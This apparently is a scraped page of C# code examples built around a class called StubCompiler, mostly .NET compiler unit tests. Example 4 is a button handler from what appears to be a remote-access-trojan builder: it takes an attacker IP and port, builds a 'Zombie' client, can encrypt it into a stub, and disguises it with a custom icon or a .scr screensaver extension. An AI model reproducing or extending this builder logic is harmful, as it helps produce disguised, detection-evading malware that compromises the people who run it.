Ejemplo n.º 1
0
        public void FromDom_ValidCodeCompileUnit_ReturnsExpected(CodeCompileUnit compilationUnit)
        {
            var compiler = new StubCompiler();
            var options  = new CompilerParameters();

            options.ReferencedAssemblies.Add("referenced");
            Assert.Null(compiler.FromDomEntryPoint(options, compilationUnit));
        }
Ejemplo n.º 2
0
 public void CompileAssemblyFromFileBatch_ValidFileNames_ReturnsExpected()
 {
     using (var file = new TempFile(Path.GetTempFileName(), 0))
     {
         ICodeCompiler compiler = new StubCompiler();
         Assert.Null(compiler.CompileAssemblyFromFileBatch(new CompilerParameters(), new string[] { file.Path }));
     }
 }
Ejemplo n.º 3
0
        public void CompileAssemblyFromFile_FileExists_ReturnsExpected()
        {
            ICodeCompiler compiler = new StubCompiler();

            using (var file = new TempFile(Path.GetTempFileName(), 0))
            {
                Assert.Null(compiler.CompileAssemblyFromFile(new CompilerParameters(), file.Path));
            }
        }
Ejemplo n.º 4
0
        private void BuildButton_Click(object sender, RoutedEventArgs e)
        {
            string errorMsg = "";

            if (string.IsNullOrWhiteSpace(ipTextBox.Text))
            {
                errorMsg = "IP cannot be empty.";
            }
            else if (string.IsNullOrWhiteSpace(portTextBox.Text))
            {
                errorMsg = "Port cannot be empty.";
            }
            else if (generateStubCheckbox.IsChecked == true && string.IsNullOrWhiteSpace(stubEncryptionPasswordTextBox.Text))
            {
                errorMsg = "Encryption password cannot be empty.";
            }

            if (errorMsg.Length > 0)
            {
                MessageBox.Show(errorMsg, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
                return;
            }



            SaveFileDialog dialog = new SaveFileDialog()
            {
                Filter = "Executable (.exe)|*.exe|Screensaver (.scr)|*.scr"
            };

            // dialog.Filter = "Exe Files (.exe)|*.exe;
            if (dialog.ShowDialog() == true)
            {
                if (generateStubCheckbox.IsChecked == true)
                {
                    if (!File.Exists(IconFilePath))
                    {
                        IconFilePath = null;
                    }
                    ZombieBuilder.Build(new ClientSettings(ipTextBox.Text, int.Parse(portTextBox.Text)), "temp.exe");
                    StubCompiler.Compile("temp.exe", stubEncryptionPasswordTextBox.Text, dialog.FileName, IconFilePath);
                    File.Delete("temp.exe");
                }
                else
                {
                    ZombieBuilder.Build(new ClientSettings(ipTextBox.Text, int.Parse(portTextBox.Text)), dialog.FileName);
                    if (File.Exists(IconFilePath))
                    {
                        IconInjector.ChangeIcon(dialog.FileName, IconFilePath);
                    }
                }
            }
        }
Ejemplo n.º 5
0
        public void FromSourceBatch_ValidSources_ReturnsExpected(string[] sources)
        {
            var compiler = new StubCompiler();

            Assert.Null(compiler.FromSourceBatchEntryPoint(new CompilerParameters(), sources));
        }
Ejemplo n.º 6
0
        public void CompileAssemblyFromSourceBatch_ValidSources_ReturnsExpected(string[] sources)
        {
            ICodeCompiler compiler = new StubCompiler();

            Assert.Null(compiler.CompileAssemblyFromSourceBatch(new CompilerParameters(), sources));
        }
Ejemplo n.º 7
0
        public void FromDomBatch_ValidCodeCompileUnits_ReturnsExpected(CodeCompileUnit[] compilationUnits)
        {
            var compiler = new StubCompiler();

            Assert.Null(compiler.FromDomBatchEntryPoint(new CompilerParameters(), compilationUnits));
        }
Ejemplo n.º 8
0
        public void CompileAssemblyFromDomBatch_ValidCodeCompileUnits_ReturnsExpected(CodeCompileUnit[] compilationUnits)
        {
            ICodeCompiler compiler = new StubCompiler();

            Assert.Null(compiler.CompileAssemblyFromDomBatch(new CompilerParameters(), compilationUnits));
        }